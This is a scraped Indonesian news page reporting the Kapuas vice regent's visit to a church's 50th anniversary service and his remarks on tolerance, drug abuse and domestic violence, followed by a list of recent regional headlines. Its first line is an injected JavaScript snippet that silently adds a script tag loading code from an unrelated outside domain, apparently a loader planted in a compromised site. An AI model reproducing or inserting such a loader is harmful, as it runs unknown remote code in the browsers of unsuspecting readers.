(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Hadiri Perayaan 50 Tahun GBI, Ini Pesan Wabup Dodo


KANALKALIMANTAN.COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas berkomitmen kuat dalam menjaga sinergi dan kerukunan antarumat beragama dalam Ibadah Syukur dan Perayaan Hari Ulang Tahun ke-50 Gereja Bethel Indonesia (GBI) di GBI Seth Adji, Selat Hilir, Kapuas, Rabu (12/11/2025).

Kegiatan Ibadah Syukur dihadiri Wakil Bupati (Wabup) Kapuas, Dodo didampingi Sekretaris Daerah, Usis I Sangkai serta sejumlah kepala perangkat daerah.

Wabup Dodo menyampaikan ucapan selamat atas usia emas GBI dan berharap gereja terus kokoh dalam pelayanan serta berkontribusi nyata dalam kehidupan bermasyarakat.

Baca juga: Bupati Kapuas Resmikan Gedung Serbaguna Desa Anjir Mambulau Barat

“Atas nama Pemerintah Kabupaten Kapuas, saya mengucapkan selamat atas usia ke-50 GBI. Semoga gereja semakin kuat dalam pelayanan dan terus menjadi bagian penting dalam membangun masyarakat Kapuas yang religius,” ujar Dodo.

Kehadiran pimpinan daerah dalam kegiatan keagamaan menjadi bentuk pembinaan dan pengawasan kerohanian oleh pemerintah.

Wabup Dodo mengingatkan pesan penting dari Menteri Agama RI tentang pentingnya menjaga toleransi dan kerukunan di Bumi Tambun Bungai.

Lebih lanjut, Dodo menyoroti dua isu genting yang kini menjadi perhatian bersama, yakni penyalahgunaan narkoba dan kekerasan dalam rumah tangga (KDRT).

Baca juga: Mitigasi Potensi Bencana Periode November 2025 hingga Mei 2025 di Kalsel

“Ini tugas kita bersama. Kapuas sudah darurat narkoba, bahkan beberapa kecamatan masuk zona hitam. Kita juga harus mewaspadai KDRT, dimana Kapuas berada di posisi kedua setelah Kotawaringin Timur,” tegasnya.

Sementara Sekda Kapuas Usis I Sangkai menekankan pentingnya kolaborasi antara pemerintah dan tokoh agama untuk menciptakan Kapuas yang bebas narkoba dan beriman kuat.

Sekda Usis mengingatkan pentingnya keseimbangan antara pelayanan masyarakat dan tanggung jawab terhadap keluarga.

“Pelayanan kepada masyarakat harus tetap berjalan menuju Kapuas yang BERSINAR. Tapi jangan lupa keluarga, karena dari keluargalah kekuatan pelayanan tumbuh,” tutup Usis. (Kanalkalimantan.com/ags) 

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

2 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

3 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

18 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

24 jam ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

1 hari ago

Gubernur Muhidin Instruksikan Semua SKPD Kirim Bantuan Korban Banjir

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel), H Muhidin, instruksikan seluruh Kepala Satuan Kerja Perangkat… Read More

1 hari ago

This website uses cookies.